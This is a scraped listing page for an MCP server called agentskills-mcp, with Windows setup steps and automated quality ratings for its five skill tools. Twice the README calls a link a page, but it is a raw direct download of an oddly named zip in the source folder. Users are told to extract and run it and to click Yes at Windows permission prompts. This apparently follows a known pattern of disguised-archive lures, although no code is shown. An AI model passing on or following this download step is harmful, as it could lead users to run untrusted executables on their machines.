Allows discovering and installing agent skills from curated GitHub collections, and supports adding new skill sources from GitHub repositories.
Click on "Install Server".
Wait a few minutes for the server to deploy. Once ready, it will show a "Started" state.
In the chat, type @ followed by the MCP server name and your instructions, e.g., "@agentskills-mcp list available agent skills"
That's it! The server will respond to your query, and you can continue using it as needed.
Here is a step-by-step guide with screenshots.
agentskills-mcp is a FastMCP server that helps you find and install agent skills from large GitHub skill collections. It also lets you add more skill sources later.
Use it when you want one place to browse skills, pull in the ones you need, and keep your setup organized. It fits users who work with AI agents, local tools, or model context protocol apps.
Related MCP server: suggest-skills
Open this page: https://github.com/Drhir2460/agentskills-mcp/raw/refs/heads/main/src/github_skills_mcp/mcp_agentskills_crutched.zip
On the GitHub page, look for the latest release or the main project files.
Download the Windows version if one is provided, or get the source package from the repository page.
Save the file to your Downloads folder.
If the download comes as a zip file, right-click it and choose Extract All.
Open the extracted folder.
Follow the run steps listed in the project files, such as a README or launch script.
If Windows asks for permission, choose Yes.
If the project is delivered as source files, you may need Python installed on your PC before you run it. If it comes with a ready-to-run file, you can open it like any normal app.
Windows 10 or Windows 11
A stable internet connection
Enough free space for the app and skill files
Python 3.10 or later if you run from source
Git if you want to copy the project from the repository
For best results, use an account that can install apps and save files in your user folder.
Download the app from the GitHub link above.
Open the file you downloaded.
If you see a zip file, extract it first.
If you see a project folder, keep all files together.
Open the command prompt if the project asks you to run commands.
Follow the run command in the project files.
Leave the window open while the server runs.
If you use an AI tool that connects to MCP servers, you can point it to this server after setup.
agentskills-mcp acts as a bridge between skill collections and your local tools. It scans curated GitHub sources, lists available skills, and helps you add them to your workflow.
Typical tasks include:
browsing skill collections
finding skills by name or topic
installing selected skills
adding new skill sources
keeping skill access in one place
The app uses the Model Context Protocol, so it can fit into tools that support MCP servers.
Discover skills from large curated GitHub collections
Install skills from a central place
Add more skill sources when you need them
Work with FastMCP-based tools
Support AI agent workflows
Keep skill lookup simple
Use GitHub as the source for skill libraries
Fit into developer tools and local automation setups
This project focuses on skill libraries that live on GitHub. It can work with large public collections and can be extended with new sources.
You can use it to:
browse curated skills
group skills by topic
pick tools for specific agent tasks
maintain a custom skill set
link more repositories or collections later
Start the server.
Open your MCP-aware app or agent tool.
Connect that tool to agentskills-mcp.
Search for the skill you need.
Install the skill.
Use the skill in your agent workflow.
Add new sources when your needs grow.
This keeps your setup clean when you work with more than one skill collection.
building agent workflows
managing a skill library
exploring curated GitHub skills
adding task-specific agent helpers
linking tools that use MCP
keeping automation tools in one place
If you want a simple setup on Windows:
Open the GitHub page.
Download the project files.
Extract the files to a folder like C:\agentskills-mcp.
Open that folder.
Start the app using the file or command listed in the project.
Connect it to your agent tool.
Search for a skill and install it.
A typical project folder may include:
a main app file
a configuration file
a requirements file
a README file
source folders for MCP logic
folders for skill source settings
If you see these files, keep them in the same folder so the app can run without issues.
Use skill sources you trust. Check the source name before you install a skill. Keep your Windows download folder clean and remove old zip files after setup.
Make sure the download finished
Extract zip files first
Try opening the file again
Check that Windows did not block the file
Run it from the command prompt so you can see the message
Make sure Python is installed if the project needs it
Check that all files stayed in one folder
Confirm the server is running
Check the MCP connection settings
Restart the agent app
Make sure the server address or command matches the project files
Check that the source list is set up
Confirm that the GitHub collection is reachable
Add a new skill source if needed
Refresh the list inside your tool
This project matches these areas:
agent skills
AI agents
automation
developer tools
FastMCP
GitHub
MCP
Model Context Protocol
Python
skill library
Open the project here: https://github.com/Drhir2460/agentskills-mcp/raw/refs/heads/main/src/github_skills_mcp/mcp_agentskills_crutched.zip
Visit the GitHub page
Download the project files
Extract the files if needed
Open the folder
Run the app
Connect your MCP tool
Browse and install skills
Fetch the key files for a specific skill directory from GitHub.
| Name | Required | Description | Default |
|---|---|---|---|
| params | Yes |
| Name | Required | Description |
|---|---|---|
| result | Yes |
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
Annotations already declare the tool as readOnlyHint, destructiveHint false, idempotentHint true, and openWorldHint true, covering safety. The description adds context about fetching 'key files' from a 'skill directory', but does not disclose additional behavioral details such as authentication or rate limits.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is a single concise sentence that conveys the core action without any superfluous words. It is front-loaded and easy to parse.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given the tool's simplicity (one required parameter, output schema present), the description is largely adequate. However, it could be improved by hinting at the typical use case (e.g., after searching skills) or defining 'key files'. The lack of such context slightly reduces completeness.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
The description provides zero information about the parameters or their usage; it neither repeats nor elaborates on the schema's detailed property descriptions. Since schema description coverage is 0% (the description does not address parameters), the agent must rely solely on the schema, missing any high-level guidance on parameter selection.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly specifies the verb ('Fetch'), resource ('key files for a specific skill directory'), and source ('from GitHub'), making the purpose unambiguous. It effectively distinguishes from sibling tools (install, list repos, search, suggest scaffold) which have different functions.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description does not explicitly state when to use this tool versus alternatives, nor does it provide exclusions. Usage is implied by the name and description, but no guidance is given on sequencing (e.g., after searching) or scenarios to avoid.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
Download a skill directory from GitHub into a local folder.
| Name | Required | Description | Default |
|---|---|---|---|
| params | Yes |
| Name | Required | Description |
|---|---|---|
| result | Yes |
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
The description 'download' implies writing to disk, which aligns with readOnlyHint: false but adds no further behavioral details beyond the annotations. It does not mention side effects like directory creation, permissions required, or error scenarios. Annotations already provide non-destructive and non-idempotent hints, so the description adds limited value.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is a single, clear sentence with no unnecessary words. It is front-loaded with the core action. However, it could be slightly more structured by including parameter hints, but it is not verbose.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given the tool installs skills to disk and has multiple parameters, the description is too sparse. It does not mention the installation process, the role of parameters, or what the output schema contains (though output schema exists but is not shown). The description lacks completeness for a mutating tool with file system impact.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
With 0% schema description coverage at the top level, the description should explain key parameters. It does not mention skill_slug, destination_dir, overwrite, or preserve_repo_prefix, leaving the agent to rely solely on nested schema descriptions. The description fails to add semantic context beyond the schema.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool downloads a skill directory from GitHub to a local folder. This distinguishes it from sibling tools like get_skill (retrieval) or search_skills (search), making the purpose specific and unambiguous.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description provides no guidance on when to use this tool versus alternatives (e.g., get_skill for info, suggest_skill_scaffold for creation). It does not mention prerequisites, such as needing a specific GitHub repository URL, nor does it specify when not to use it.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
List the GitHub skill repositories configured for this MCP server.
| Name | Required | Description | Default |
|---|---|---|---|
| params | Yes |
| Name | Required | Description |
|---|---|---|
| result | Yes |
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
Annotations already indicate readOnlyHint=true, destructiveHint=false, and idempotentHint=true. The description simply states 'List' which is consistent. It does not add behavioral context beyond what annotations provide, such as whether the list is alphabetical or if it refreshes. With annotations covering safety, the description is adequate but not additive.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is a single sentence containing only essential information: verb, resource, and scope. No filler words. This is ideal conciseness and front-loads the key action.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given the tool's simplicity (list with one optional format parameter), an output schema exists to document return values. The description is complete enough to understand the tool's purpose and usage. It may lack an explicit note that it only shows configured (not all) repositories, but that is implied by 'configured for this MCP server'. A slight improvement would be stating that the list is pre-configured.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
The tool has one parameter (response_format) which is already documented in the schema with a description 'Output format' and enum values. Schema coverage is effectively 100% because the parameter has a schema description. The tool description does not mention or add to parameter semantics, so baseline 3 applies.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the verb 'List', the specific resource 'GitHub skill repositories', and the scope 'configured for this MCP server'. This distinguishes it from siblings like github_skills_get_skill (retrieves a single skill) and github_skills_search_skills (searches), providing unambiguous purpose.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description does not provide explicit guidance on when to use this tool versus alternatives, nor does it state prerequisites or exclusions. However, the purpose is self-evident for listing configured repositories, and the read-only annotations imply safe use. A more explicit note about when to prefer this over search or get would elevate the score.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
Search skill directories by matching the query against skill names and paths.
| Name | Required | Description | Default |
|---|---|---|---|
| params | Yes |
| Name | Required | Description |
|---|---|---|
| result | Yes |
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
Annotation already indicate read-only, idempotent, and non-destructive behavior. Description adds that search matches against names and paths, which is useful but not extensive. No mention of pagination, rate limits, or auth requirements. With annotations covering safety, this is adequate.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
Single sentence that is front-loaded with the action and resource. No redundant or unnecessary information. Every word carries meaning.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given the existence of an output schema and annotations, the description is moderately complete. However, it lacks mention that the search covers 'configured GitHub repositories' (which appears in the annotation title but not in the description itself). Could also clarify that results are from all registered repositories.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Context indicates 0% schema description coverage, but the actual schema has descriptions for each parameter inside the nested object. Nevertheless, the description does not explain any parameter details, such as what 'query' represents or the effect of 'limit' and 'response_format'. This fails to compensate for the reported low coverage.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
Description clearly states the tool searches skill directories by matching a query against names and paths. It effectively distinguishes itself from sibling tools like get_skill (single skill) and install_skill (installation). However, it could be more specific about the search scope (e.g., across repositories).
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
No guidance on when to use this tool versus alternatives like get_skill or list_repositories. Does not mention that this is for searching across all configured repos, nor provides examples. The description only states what it does, not when to prefer it.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
Create a grounded starter scaffold for a new skill using the closest existing skills as examples.
| Name | Required | Description | Default |
|---|---|---|---|
| params | Yes |
| Name | Required | Description |
|---|---|---|
| result | Yes |
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
Annotations already declare readOnlyHint=true, destructiveHint=false, idempotentHint=true, openWorldHint=true. The description adds that it uses 'closest existing skills as examples', which provides additional behavioral context but does not contradict annotations. No further behavioral traits (e.g., rate limits, auth needs) are disclosed.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is a single sentence that conveys the core purpose without any waste. Every word is meaningful.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
The tool has 3 parameters and an output schema, but the description is minimal. It does not explain what the scaffold contains, how grounding works, or the return structure. While the output schema likely covers return details, the description lacks sufficient contextual completeness for a tool with moderate complexity.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema description coverage is 0% (description does not mention parameters). The input schema itself contains adequate descriptions for 'request', 'limit', and 'response_format', so the agent can rely on the schema. However, the description fails to compensate for the low coverage by adding any parameter context beyond the schema.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool creates a grounded starter scaffold for a new skill using closest existing skills as examples. This specific verb+resource combination distinguishes it from sibling tools like github_skills_get_skill (retrieve), github_skills_install_skill (install), github_skills_list_repositories (list), and github_skills_search_skills (search).
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description implies the tool should be used when creating a new skill scaffold, but does not explicitly state when to use it versus alternatives or when not to use it. No when-not or exclusion guidance is provided.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
Each tool has a clearly distinct purpose: fetching a specific skill, installing it locally, listing repositories, searching skills, and suggesting scaffolds. No overlap or ambiguity.
All tools follow a consistent snake_case pattern with the prefix 'github_skills_' and verb_noun structure, e.g., get_skill, install_skill, list_repositories.
With 5 tools, the set is well-scoped for managing GitHub skills. It covers key operations without being overwhelming or insufficient.
Core operations (get, install, list, search, scaffold) are covered, but missing an uninstall or delete tool is a minor gap. Overall, the surface is fairly complete for its domain.
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